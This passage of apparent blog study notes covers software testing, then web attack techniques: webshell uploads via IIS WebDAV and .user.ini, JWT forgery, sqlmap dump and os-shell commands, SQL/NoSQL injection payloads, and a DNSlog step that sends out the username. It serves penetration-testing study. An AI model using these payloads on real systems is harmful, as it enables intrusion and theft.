\n五、软件项目的测试测试方案\n包括\n\n具体的测试目的(例如,预定要测试的具体功能)\n应该输入的测试数据\n预期的结果\n通常又把测试数据和预期的输出结果称为测试用例\n\n\n白盒测试适用于对单一模块测试内部结构是否和详细设计相同\n逻辑覆盖法\n语句覆盖\n\n选择足够的测试用例,使得程序中每一条可执行语句至少被执行一次\n特点:\n语句覆盖对程序的逻辑覆盖很少\n语句覆盖不能走过所有支路\n语句覆盖是很弱的逻辑覆盖标准\n\n判定覆盖\n\n不仅每个语句必须至少执行一次,而且每个判定的每种可能的结果都应该至少执行一次\n\n既然语句覆盖对逻辑不作判定,则增加内容扩充为判定覆盖\n\n\n条件覆盖\n\n不仅每个语句至少执行一次,判定表达式中的每个条件都取到各种可能的结果\n特点:\n条件覆盖通常比判定覆盖强,因为它使每个条件都取到了两个不同的结果,判定覆盖却只关心整个判定表达式的值。判定覆盖不一定包含条件覆盖,条件覆盖也不一定包含判定覆盖\n\n判定/条件覆盖\n\n使得判定表达式中的每个条件都取到各种可能的值,每个判定表达式也都取到各种可能的结果\n\n条件组合覆盖\n\n使得每个判定表达式中条件的各种可能组合都至少出现一次\n特点:\n条件组合覆盖是前述几种覆盖标准中最强的\n满足条件组合覆盖标准的测试数据,也一定满足判定覆盖、条件覆盖和判定/条件覆盖标准\n但是,条件组合覆盖标准的测试数据并不一定能使程序中的每条路径都执行到\n\n路径覆盖(了解即可)\n\n使得程序中的所有可能路径都至少被执行一次\n\n总结:\n\n语句覆盖发现错误能力最弱\n\n判定覆盖包含了语句覆盖,但它可能会使一些条件得不到测试\n\n条件覆盖对每一条件进行单独检查,一般情况它的检错能力较判定覆盖强,但有时达不到判定覆盖的要求\n\n判定/条件覆盖包含了判定覆盖和条件覆盖的要求,但实际上不一定达到条件覆盖的标准\n\n条件组合覆盖发现错误能力较强,凡满足其标准的测试用例,也必然满足前 4 种覆盖标准\n\n\n以上五种覆盖方法,基本上是依次增强的(除少数如:条件覆盖和判定覆盖)。随覆盖级别的提高,所需设计的测试用例数量也急剧增加,开销数量级的加大\n\n黑盒测试等价类法在输入数据中选择一些有代表性的数据进行测试\n\n等价类:功能相同或作用相同的一类数据\n\n\n有效等价类\n\n尽可能多地覆盖尚未被覆盖的有效等价类\n\n无效等价类\n\n使它覆盖一个而且只覆盖一个尚未被覆盖的无效等价类\n边界值分析法一个用例尽量覆盖多的有效边界\n一个用例只能覆盖一个无效边界\n\n边界值:指输入等价类和输出等价类边界上的数据\n\n\n划分等价类\n找等价类的边界\n\n软件测试\n单元测试\n\n驱动程序:接收测试数据,传递给被测试的模块,并且印出有关的结果\n存根程序:代替被测试的模块所调用的模块\n\n集成测试\n\n集成测试更多用于测试各模块之间的接口是否正确\n\n\n功能性测试:使用黑盒测试技术针对被测模块的接口规格说明进行测试\n\n非渐增式测试方法:先分别测试每个模块,再把所有模块按设计要求放在一起\n\n看似省了步骤,但是由于其复杂性导致不可操作\n\n\n渐增式测试方法:把下个要测试的模块同已测试好的模块结合起来测试\n\n自顶向下\n深度优先:先组装在软件结构的一条主控制通路上的所有模块(先深后宽)\n宽度优先:沿软件结构水平地移动,把处于同一个控制层次上的所有模块组装起来(先宽后深)\n\n\n自底向上\n\n\n\n\n非功能性测试:对模块的性能或可靠性进行测试\n\n\n\n回归测试\n重新执行已经做过的测试的某个子集。以保证上述这些变化没有带来非预期的副作用\n\n确认测试(系统测试)\n检查软件能否按合同要求进行工作\n\n确认测试偏向于整个大系统是否正确完成\n\n\n验收测试(交付测试)\n\n内部测试(Alpha测试)\n第三方测试(Beta测试)\n\n\n\n七、软件项目管理WBS工作分解结构\n工作分解任务是以列来进行的:\n\n第一列系统\n\n第二列分配角色\n\n第三列当前角色具有的功能模块\n\n第四列该功能模块具体需要完成什么样的任务\n\n\n使用此方式把一个项目,按一定的原则进行分解,项目分解成任务,任务再分解成一项项工作,再把一项项工作分解到每个人的日常活动中,直到分解不下去为止\nGantt图\nGanttProject\n","tags":["summary"]},{"title":"06Web攻防","url":"/2024/04/14/06Web%E6%94%BB%E9%98%B2/","content":"ASP\nASP环境搭建组合:Windows+IIS+ASP+Access(SQLserver)\n\nAccess数据库一般后缀名asp asa(前两个被解析)mdb(下载)\nmdb文件在网站目录下\n\n数据库配置:./database/***.mdb\n后台:./admin/admin_login.asp\n\n==思路==:如果知道数据库地址,可尝试获取数据库文件,获取当前管理员账号密码信息\n\nIIS-短文件&解析&写权限\n\nASP-中间件-IIS短文件名探针-安全漏洞\nIIS shortname Scanner\n\nASP-中间件-IIS文件上传解析-安全漏洞\n*.asp:.jpg*.asp/1.jpg(*.asp的目录里有1.jpg)下文具体解释\n\nASP-中间件-IIS配置目录读写-安全配置\n网站配置中勾选了写入,同时Web服务拓展中的WebDAV开启,此时出现写入漏洞\nIISPutScanner\n\n\n\n\nIIS6.0解析漏洞\nIIS版本\n\nWindows Server 2003→IIS 6.0\nWindows7→IIS7.0和IIS7.5\nWindows Server 2008 SP2→IIS7.0\nWindows Server 2008 R2→IIS7.5\nWindowsXP和Windows Server 2000→IIS5.0\n\n\n漏洞原理\n如上\n\n上传原理\nWebDAV基于HTTP1.1协议的通信协议使得HTTP支持PUT、MOVE、COPY和DELLTE方法\n验证:\n抓包时更改GET为OPTIONS,观察到返回包的Public里有多个方法,说明存在漏洞\n\n上传TXT文件\nPUT请求\n<% eval request("a")%>\n\n通过COPY重命名\nCOPY/1.txt HTTP1.1Host:127.0.0.1Destination:http://www.xxx.com/cmd.asp;.txt#将1.txt重命名为cmd.asp;.txt\n\n删除文件\nDELETE\n\n\nASPX\n.NET环境搭建组合:Windows+IIS+ASPX+SQLserver\n\n.NET配置调试-信息泄露\nILSpy反编译\ndnSpy\n\n.NET项目-Web.config错误调试-信息泄露\n<customErrors mode="Off"</customErrors><!-- 自定义错误,三种状态"Off"、"On"、"RemoteOnly"-->\n\n\n.NET常见安全问题-未授权访问\n\n找没有包含验证代码的文件\n验证代码文件有没有可以绕过\n\n\n\nPHP详见《PHP特性.md》\nPHP-Audit-Labs\nApache HTTPD解析漏洞\n漏洞原理\n\n服务器解析某些精心构造的后缀文件时,会将其解析成网页脚本\nApache HTTPD是一款HTTP服务器,其2.1.0~2.4.29版本存在解析漏洞,解析PHP时,1.php\\x0A将按照.php进行解析\n上传一个1.php文件\n<?php phpinfo();?>\n\n抓包时在文件名后加个空格,然后在hex里修改20为0a,放包后成功\nJava详见《Java安全》\nsecscan-authcheck\nWebGoat\nwebgoat白盒审计+漏洞测试\n\n通过目录遍历传shell至可执行的文件夹\n\n身份验证逻辑\n\n\n问题有很多选项:s1:你叫什么名字?张三s2:你的出生地?出生地s3...数据库中没有s3、s4即s3=null s4=mull此时传入s3= & s4= 发送数据正确\n\n\n安全验证:固定接收的数据:s0、s1\n不固定:s0、s1判断数据→正常\n​\t\ts2、s3不在数据库或者变量内→非法\n\n\nJWT:JSON Web令牌(JWT)验证用户的身份\n\nJWT原理及常见攻击方式\n\n判定网站是否采用JWT验证;\n数据包中Cookie可明确看到JWT特有的字符串格式:三部分,以点为间格\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n\nJWT解密\n\n绕过:\n\n空加密算法\n\n在header中指定alg为None\n若某天开发人员在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。\n\n修改RSA加密算法为HMAC\n\nJWT中最常用的两种算法为HMAC和RSA\n\n在HMAC和RSA算法中,都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。\n\n假设一个Web应用,在JWT传输过程中使用RSA算法,密钥pem对JWT token进行签名,公钥pub对签名进行验证。\n{ "alg" : "RS256", "typ" : "jwt"}\n\n通常情况下密钥pem是无法获取到的,但是公钥pub却可以很容易通过某些途径读取到,这时,将JWT的加密算法修改为HMAC,即\n{ "alg" : "HS256", "typ" : "jwt"}\n\n同时使用获取到的公钥pub作为算法的密钥,对token进行签名,发送到服务器端。\n服务器端会将RSA的公钥(pub)视为当前算法(HMAC)的密钥,使用HS256算法对接收到的签名进行验证。\n\n爆破密钥\n\nc-jwt-cracker\n\n前提:\n\n知悉JWT使用的加密算法\n一段有效的、已签名的token\n签名用的密钥不复杂(弱密钥)\n\n\n\n修改KID参数\nkid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥\n{ "alg" : "HS256", "typ" : "jwt", "kid" : "/home/jwt/.ssh/pem"}\n\n因为该参数可以由用户输入,所以也可能造成一些安全问题。\n\n任意文件读取\nkid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。\n{ "alg" : "HS256", "typ" : "jwt", "kid" : "/etc/passwd"}\n\nSQL注入\nkid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证\n{ ``"alg"` `: ``"HS256"``, ``"typ"` `: ``"jwt"``, ``"kid"` `: ``"key11111111' || union select 'secretkey' -- "}\n\n命令注入\n对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。\n"/path/to/key_file|whoami"\n\n对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。\n\n\n\n修改JKU/X5U参数\n\n\nJKU的全称是”JSON Web Key Set URL”,用于指定一组用于验证令牌的密钥的URL。类似于kid,JKU也可以由用户指定输入数据,如果没有经过严格过滤,就可以指定一组自定义的密钥文件,并指定web应用使用该组密钥来验证token。\nX5U则以URI的形式数允许攻击者指定用于验证令牌的公钥证书或证书链,与JKU的攻击利用方式类似。\n\n信息泄露\n\nJWT保证的是数据传输过程中的完整性而不是机密性。\n由于payload是使用base64url编码的,所以相当于明文传输,如果在payload中携带了敏感信息(如存放密钥对的文件路径),单独对payload部分进行base64url解码,就可以读取到payload中携带的信息。\n\nbase64url加密是先做base64加密,然后再将-替代+及_替代/。\n\n\n访问控制\n\n隐藏属性:前端页面的自卫限制显示\n源码中已经暴露的id值、等级之类的编号,可尝试修改值测试是否可以切换到另外用户查看信息\n\n水平越权:同一级别用户权限的查看\n\n\n\n反序列化:后续讲\n\n\nJavaScriptVulhub\nVulnhub\nJavaScript开发的Web应用和PHP、Java、.NET等区别在于即没有源代码,也可以通过浏览器的查看源代码获取真实代码(相当于JS开发的Web应用属于白盒测试(默认有源码参考))\n\n如何判定JS开发应用?\n\n源代码简短\n引入多个js文件\n一般有/static/js/app.js等顺序的js文件\ncookie中有connect.sid\n\n如何获取更多的js文件?\n\nJSFinder\nPacker-Fuzzer\n扫描器后缀替换字典\n\n如何快速获取价值代码?\n\nmethod:”get”\nhttp.get(“\nmethod:”post”\nhttp.post(“\n$.ajax\nservice.httppost\nservice.httpget\nPython\nPython文件反编译\nPython-Web-SSTI\nSSTI模板注入利用分析\n\n\n识别Python网站中间件:Werkzeug\npyc反编译1\npyc反编译2\nuncompyle2\n\nSSTI\n\n服务端接收用户恶意输入后未经任何处理就将其作为Web应用模板内容的部分。模板引擎在进行目标编译渲染的过程中执行了用户插入的可以破坏模板的语句,因为可能导致了敏感信息泄露\nrender_template_string()\nSSTI可能会出现的相关的地方\n\n","tags":["小迪"]},{"title":"07通用-SQL注入","url":"/2024/04/14/07%E9%80%9A%E7%94%A8-SQL%E6%B3%A8%E5%85%A5/","content":"SQLmap\n不支持NoSQL、Redis\n\n-u "<网址>"#指定网址--data "<具体的数据>"#POST方式提交数据(--data "page=1&id=2")--cookie "<具体的数据>"#cookie注入,注意用;分开(--cookies=”ID=465169; security=low”)--purge#清除缓存--privileges#查看权限--is-dba#是否是数据库管理员--dbs#获取数据库名--tables#获取数据库下的表,常搭配-D使用-D "<数据库名>"#指定数据库-T "<表名>"#指定表名--dump -C "<列名>,<列名>"#指定列名-r <数据包文件>#以数据包形式进行注入(解决特定范围)------执行命令--os#指定系统--os-cmd=id#执行系统命令--os-shell#系统交互shell--file-read/write#读/写文件-sql-shell#执行指定sql命令-reg-read#读取win系统注册表------脚本--tamper=<脚本名称>举例:base64encode.pyunmagicquotes.py(宽字节)详情参考https://www.cnblogs.com/bmjoker/p/9326258.html的#建议\n\n\n数据包中在注入的地方加入*号\n\nSQLmap中文手册\nSQLmap使用参数\n简单的注入流程:\n\n读取数据库版本,当前用户,当前数据库\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 -f -b --current-user --current-db -v 1\n\n\n判断当前数据库用户权限(高权限才能进行文件的读取、命令执行等其他功能)\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --privileges -U 用户名 -v 1sqlmap.py -u http://www.xxx.com/test/php?p=2 --is-dba -U 用户名 -v 1\n\n\n读取所有数据库用户或指定数据库用户的密码\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --users --passwords -v 2sqlmap.py -u http://www.xxx.com/test/php?p=2 --passwords -U root -v 2\n\n\n获取所有数据库\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --dbs -v 2\n\n\n获取指定数据库中的所有表\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --tables -D mysql -v 2\n\n\n获取指定数据库名中指定表的字段\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --columns -D mysql -T users -v 2\n\n\n获取指定数据库命中指定表中指定字段的数据\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2\n\n\nfile-read读取web文件\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --file-read "/etc/password" -v 2\n\n\nfile-write写入文件到web\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试\n\nSQL注入为了网站和数据库的安全性,MySQL内置有root最高用户,划分等级,每个用户对应管理一个数据库,这样保证互不关联,从而不会影响到其他数据库的运行\nMySQL两种思路:\n\n非root的注入攻击:常规类的猜解\nroot用户的注入攻击:文件读写操作,跨库查询注入等\n\nMySQL5.0以上版本:自带的数据库名:information_schema\n\ninformation_schema库中的:\nschemata表会记录所有的数据库名(chehema_name)\ntables表会记录所有的表名(table_name)\ncolumns表会记录所有的列名(column_name)\n\n获取相关数据:\n\n数据库版本-看是否符合information_schema查询-version()\n数据库用户-看是否符合root型注入攻击-user()\n当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os()\n数据库名字-为后期猜解指定数据库下的表、列做准备-database()\n\n\nMySQL配置中的secure-file-priv:限制读取/写入的文件\n\nLinux下:/etc/my.cnf\n\n突破:注入中需要支持SQL执行环境,没有就需要借助PHPmyadmin或能够直接连上对方数据库进行绕过\nset global slow_query_log=1;set global slow_log_file='shell路径'select '<?php eval($_GET[A])?>' or SLEEP(11);\n\n\n因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。\n时间默认超过多少的称为慢查询日志?\n一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:\nshow global variables like '%long_query_time%'\n\nMSSQLSQLRecon网络侦查与后渗透测试工具\norder by 4and 1=2 union all select null,null,null,null@@version--获取版本信息db_name()--当前数据库名字user、system_user、current_user、user_name--获取当前用户名@@SERVERNAME--获取服务器主机信息\n\nPostgreSQLPostgreSQL注入\norder by 4and 1=2 union select null,null,null,nullversion()--获取版本信息current_user--获取用户名current_database()--获取当前数据库名\n\nOracleOracle注入总结\n测回显:and 1=2 union select '1','2' from dual爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1)from dual模糊爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual爆列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual爆其他列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME'))from dual爆数据:and 1=2 union select user_name,user_pwd from "sns_users"爆其他数据:and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu' and user_name<>'mozhe'\n\nMongoDBMongoDB查询文档\n(Python),以墨者为例\n<?php$db = $mongo->mozhe_cms_Authority;$id = $_GET['id'];$query = "var data = db.notice.findOne({'id':'$id'});return data;";$obj = $db->execute($query);<div class="body"><div class="title"><?php echo $obj['retval']['title'];?></div><div class="content"><?php echo $obj['retval']['content'];?></div>\n\n其中findOne({‘id’:’$id’}),故需先闭合再执行查询语句,即1'}) and …\n测回显:/new_list.php?id=1'});return ({title:1,content:'2爆库:/new_list.php?id=1'});return ({title:tojson(db.getCollectionNames()),content:'1爆字段:/new_list.php?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),content:'1---db.getCollectionNames()返回的是数组,需要用tojson转换为字符串db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据\n\n数据类型注入\n数字型\n\n$sql="select * from tablea where id = $i"\n\n\n字符型\n\n$sql="select * from tablea where id = '$i'"\n\n如果是字符串的话(比如有空格),不加单引号就出错\n\n搜索型\n\n$sql="select * from tablea where id like '%$i%'"\n\n使用%作为通配符\n\n加密型\n\n数据以加密的密文去发送\n\n格式型\n\n比如JSON\n<?phpif (isset($_POST['json'])) { $json_str = $_POST['json']; //{"username":"admin"} $json = json_decode($json_str);}$username = $json->username;$sql = "SELECT * FROM users WHERE username='{$username}'";\n\njson={"username":"admin'order by 4#"}\n\nQ:考虑的是闭合双引号,为什么要闭合单引号?\nA:JSON取得是键值,而不是双引号,代码中的{}是JSON的格式,即括号在这里不起作用,所以只需要考虑单引号\n宽字节注入\naddslashes()\n\n返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\\)与NULL(NULL字符)。\n当PHP指令magic_quotes_sybase被设置成on时,意味着插入'时将使用'进行转义。 \n\n此时利用宽字节(繁体字符、乱码的字符)来占用两个字节产生绕过\n提交方式注入<?phpheader("Content-Type:text/html;charset=utf-8");$get = $_GET['g'];$post = $_POST['p'];$cookie = $_COOKIE['c'];$request = $_REQUEST['r'];$host = $_SERVER['HTTP_HOST'];//当前访问URL地址$user_agent = $_SERVER["HTTP_USER_AGENT"];//浏览器地址信息$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];//8.8.8.8echo $get . "<hr>";echo $post . "<hr>";echo $cookie . "<hr>";echo $request . "<hr>";echo $host . "<hr>";echo $user_agent . "<hr>";echo $ip;\n\n//Java Spring 不同框架,不同写法method=RequestMethod.GETmethod=RequestMethod.POSTrequest.getParameter("参数名");\n\n#Python Flask 不同框架,不同写法from flask import Flask, request, jsonifyimport requestsapp = Flask(__name__)requests.getrequests.postrequest.args.get(key)request.form.get(key)request.values.get(key)\n\n查询方式注入盲注就是在注入过程中,获取的数据不能回显至前端页面\n此时我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注\n盲注分为以下三类:\n基于布尔的SQL盲注——逻辑判断\nregexp,like,ascii,left,ord,mid\n基于时间的SQL盲注——延时判断\nif,sleep\n基于报错的SQL盲注——报错回显\nfloor,updatexml,extractvalue\n12种报错注入+万能语句\n\n参考:\nlike 'ro%' #判断ro或ro...是否成立regexp '^test[a-z]' #匹配test及test...等if(条件,5,0) #条件成立,返回5,反之返回0sleep(5) #SQL语句延时执行5秒mid(a,b,c) #从位置b开始,截取a字符串的c位substr(a,b,c) #从位置b开始,截取字符串a的c长度left(database(),1) #left(a,b)从左侧截取a的前b位length(database())=8 #判断数据库的database()名的长度ord=ascii ascii(x)=97 #判断x的ASCII码是否等于97\n\n基于延时:都不需要?id=1 and if(1=1,sleep(5),0)基于布尔:有数据库输出判断标准?id=1 and length(database())=7基于报错:有数据库报错处理来判断标准?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)\n\n复杂注入利用\n堆叠注入:根据数据库类型决定是否支持多条语句执行\n支持堆叠数据库类型:MySQL、MSSQL、PostSQL等\n\n我们是用mysql_query()接收的SQL语句,而mysql_query()它本身只能执行一句SQL语句,所以就会出错\n把mysql_query()换为mysql_multi_query()就可以执行多条SQL语句查询,但mysql_multi_query()的返回类型是布尔型\n\n堆叠注入详解\n[强网杯2019]随便注\n\n二次注入:应用功能逻辑设计上导致的先写入后组合的注入\n\n[网鼎杯2018]Unifinish\n\nDnslog注入:解决不回显(反向连接),SQL注入,命令执行,SSRF等\nhttp://www.dnslog.cn\nping %USERNAME%. <生成的链接>#%USERNAME%是获取本地计算机用户名\n\nhttps://github.com/BugScanTeam/DNSLog\nhttps://dig.pm/\nhttp://ceye.io\n\n绕过bypass等\n\n\n黑盒模式分析以上\n二次注入:插入后调用显示操作符合\n堆叠注入:判断注入后直接调多条执行\n\n偏移注入\n解决表名已知,列名未知的情况\nhttp://t.csdnimg.cn/Jzbb1\nhttps://www.cnblogs.com/xishaonian/p/6054320.html\nhttps://www.fujieace.com/penetration-test/access-offset-injection.html\n伪静态\n定义\n\n通常情况下,动态脚本的网站的url类似下面这样:\nhttp://www.test.com/news.php?id=1\n\n做了伪静态之后就成这样了:\nhttp://www.test.com/news/id/1.html\n\n\n判断\n\n浏览器控制台输入\njavascript:alert(document.lastModified)\n\n如果得到的时间和现在时间一致,此页面就是伪静态,反之是真静态\n\n因为动态页面的最后修改时间总是当前时间,而静态页面的最后修改时间则是它生成的时间。\n\n","tags":["小迪"]},{"title":"08通用-文件上传","url":"/2024/05/11/08%E9%80%9A%E7%94%A8-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/","content":"文件上传在已有文件上传知识上做的一些补充\nUpload-labs通关手册\n\n.htaccess文件\n\n或者”分布式配置文件“,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。\n启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config,则可以在服务器配置文件中按以下方法配置:AccessFileName.config。\n它里面有这样一段代码:AllowOverride None,把None改成All\n常见的配法有以下几种:\nSethandler application/x-httpd-phpAddHandler php5-script .jpgAddType application/x-httpd-php .jpg\n\nSethandler将该目录及子目录的所有文件均映射为php文件类型\nAddhandler使用php5-script处理器来解析所匹配到的文件\nAddType将特定拓展名文件映射php文件类型\n\n举例:\n<FilesMatch "jpeg">SetHandler application/x-httpd-php</FilesMatch>\n\n他会将后缀名为jpg的文件当作php文件解析\n或者.htaccess写成\nAddType application/x-httpd-php jpg\n\n以php解析.htaccess文件所在目录及其子目录中的后缀为.xxx的文件\n\n\n.user.ini\n\nphp的配置文件,.user.ini中的字段也会被php视为配置文件来处理,从而导致php的文件解析漏洞。但是想要引发.user.ini解析漏洞需要三个前提条件\n\n服务器脚本语言为PHP\n服务器使用CGI/FastCGI模式\n上传目录下要有可执行的php文件\n\n创建一个.user.ini文件\nauto_prepend_file=shell.jpg\n\n意思是:所有的php文件都自动包含mm.jpg文件 \n\n执行运算符\n\nPHP将尝试将反引号中的内容作为shell命令来执行,使用反引号运算符的效果与函数shell_exec()相同\n<?=`tac ../f*`?>\n\n\n补充\n\n\n绕过姿势\n\n<script language="php">echo'1';</script>\n\n\n先访问一个地址,UA头改为后门代码,后门代码就会进入到日志里面,再利用.user.ini包含日志文件来触发访问UA头里的后门代码\n\n<?=include"/var/lo"."g/nginx/access/lo"."g"?>\n\n\n.user.ini包含远程png\npng include带有后门代码的远程地址\n\nIP转数字\n在浏览器中访问http://192.168.1.1与 http://3232235777是相同的效果\n\n.user.ini:auto_prepend_file=pngpng:<?=include'http://3232235777'>\n\n条件竞争\n遇到文件删除时有两种情况\n\n什么都删除\n上传成功后,没有删除之前,文件会在这个时间段存活,然后代码立马删掉,这个时间点文件确实是上传成功了,只是快速的让你看不到而已,所以我们就在没有上传之前就不断发包,一直访问地址,当文件被创建后,就触发代码,让它创建一个文件\n\n后门代码删除\n\n\n条件竞争:在上传成功,立马访问,创建新代码(代码被执行后重新新建一个文件)\n\n二次渲染\n把上传的图像进行了加工,手工注入需要把后门代码写到共同体中去\n文件上传之二次渲染绕过\n\n二次渲染判定\n判断上传前后大小及内容\n判断上传后的文件返回数据包\n\n\n\n\nctfshow Web164中满足了PHP文件引入图片\nxxx.php?image=yyy.png\n\n假如是类似于upload/yyy.png,图片中即使带有后门代码也不能被调用,还需上传.user.ini\n\n如果是JPG,访问返回包,发现gd-jpeg v1.0 (using IJG JPEG v80),即调用PHP内置的库来处理JPG进行二次渲染\n\n\n\nPHP一句话木马,后缀.php→上传成功,直接利用\n后缀是.jpg图片文件,无法直接利用\n后缀是.jpg图片文件+文件包含→上传成功,直接利用\n\n中间件解析&编辑器安全\nIIS和Apache漏洞举例前文已提,此处不再赘述\nNginx文件名逻辑漏洞\nVulhub\nVulnhub\n\n黑盒\n\n寻找一切存在文件上传的功能应用\n\n个人用户中心是否存在文件上传功能\n后台管理系统是否存在文件上传功能\n字典目录扫描探针文件上传构造地址\n字典目录扫描探针编辑器目录构造地址\n\n\n白盒\n\n看三点:中间件、编辑器、功能代码\n\n中间件直接看语言环境常见搭配\n编辑器直接看目录结构或搜索关键字\n功能代码直接看源码应用或搜索关键字\n\n","tags":["小迪"]},{"title":"ThinkPHP框架分析","url":"/2024/05/17/ThinkPHP%E6%A1%86%E6%9E%B6%E5%88%86%E6%9E%90/","content":"ThinkPHP框架分析MVC和三层结构的认识MVC是一种开发模式,三层结构是一种开发习惯,严格来讲是完全不同的概念,但是实际中有各种联系:\nMVC是一种将视图、控制、数据三者分开的一种开发模式:\n\n\n\n简写\n全称\n工作\n\n\n\nM\nModel(模型)\n编写Model类,负责数据的操作\n\n\nV\nView(视图)\n编写HTML文件,负责前台页面显示\n\n\nC\nController(控制器)\n编写类文件,IndexController.class.php\n\n\nThinkPHP3.2.3-Doc\n下文均以ThinkPHP3.2.3举例\n核心文件\n项目目录\n\n├─ThinkPHP 框架系统目录│ ├─Common 核心公共函数目录│**├─Conf 核心配置目录 │ ├─Lang 核心语言包目录│**├─Library 框架类库目录│ │ ├─Think 核心Think类库包目录│ │ │ ├─Db │ │ │ │**├─Driver.class.php 数据条件分析,各种操作数据库│ │ │**├─Model.class.php 连贯操作│ │ ├─Behavior 行为类库目录│ │ ├─Org Org类库包目录│ │ ├─Vendor 第三方类库目录│ │ ├─ ... 更多类库目录│ ├─Mode 框架应用模式目录│ ├─Tpl 系统模板目录│ ├─LICENSE.txt 框架授权协议文件│ ├─logo.png 框架LOGO文件│ ├─README.txt 框架README文件│ └─ThinkPHP.php 框架入口文件----------------------------------├─Application│ ├─Common 应用公共模块│ │ ├─Common 应用公共函数目录│ │ └─Conf 应用公共配置文件目录│ ├─Home 默认生成的Home模块│ │ ├─Conf 模块配置文件目录│ │ ├─Common 模块函数公共目录│**│ ├─Controller 模块控制器目录│**│ ├─Model 模块模型目录│ │ └─View 模块视图文件目录│**├─Runtime 运行时目录(可删除,运行时可再次生成)│ │ ├─Cache 模块缓存目录│ │ ├─Data 数据目录│ │ ├─Logs 日志目录│ │ └─Temp 缓存目录\n\n\n开启调试\n\nconfig.php添加语句\n'SHOW_PAGE_TRACE' =>true,\n\n\n(config.php在Application/Common/Conf目录)\n\n访问URL模式\n系统会从URL参数中解析当前请求的模块、控制器和操作:\n\n1(PATHINFO模式)\n\nhttp://serverName/index.php/模块/控制器/操作http://serverName/index.php/index/content/list\n\n\n0(普通模式)\n\nhttp://serverName/index.php?m=模块&c=控制器&a=方法名&键1=值&...http://serverName/index.php?m=index&c=content&a=list\n\n控制器ThinkPHP的控制器是一个类,而操作则是控制器类的一个公共(public function)方法。\n<?phpnamespace Home\\Controller;use Think\\Controller;class IndexController extends Controller { public function index(){ echo 'hello,thinkphp!'; }}\n\n控制器操作A([模块/]控制器标志)实例化控制器对象\nR([模块/]控制器标志/操作方法)实例化控制器对象同时调用指定对象\n\nA方法\n\n跨控制器实例化后,再调用被实例化对象的方法\n$Test=A('User');$Test->index();\n\n\nR方法\n\n相比A方法更加简单快捷,直接调用控制器里的方法\nR('Test/index');\n\n\nAction参数绑定\n\nAction参数绑定是通过直接绑定URL地址中的变量作为操作方法的参数,Action参数绑定功能默认是开启的,其原理是把URL中的参数(不包括模块、控制器和操作名)和操作方法中的参数进行绑定\n'URL_PARAMS_BIND' => true\n\n\n官方推荐I方法\nI('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])//强转成int类型$id=I('id','1','intval');dump($id);\n\n\n请求类型\n\n\n\n\n常量\n说明\n\n\n\nIS_GET(POST、PUT、DELETE)\n判断是否是GET(POST、PUT、DELETE)方式提交\n\n\nIS_AJAX\n判断是否是AJAX提交\n\n\nREQUEST_METHOD\n当前提交类型\n\n\n\nAjax请求的时候,抓包后需在头部添加\nX-Requested-With:XMLHttpRequest\n\n\n插件控制器\n\n3.2.3版本开始,插件控制器默认和模块同级\nhttp://127.0.0.1/tp/home/info/index/addon/SystemInfo\n\n3.2.3版本中,实际访问呢的插件控制器是\nAddon/SystemInfo/Controller/InfoController.class.php\n\n插件控制器的定义如下:\n<?phpnamespace Addon\\SystemInfo\\Controller;class InfoController extends \\Think\\Controller{ public function index(){ 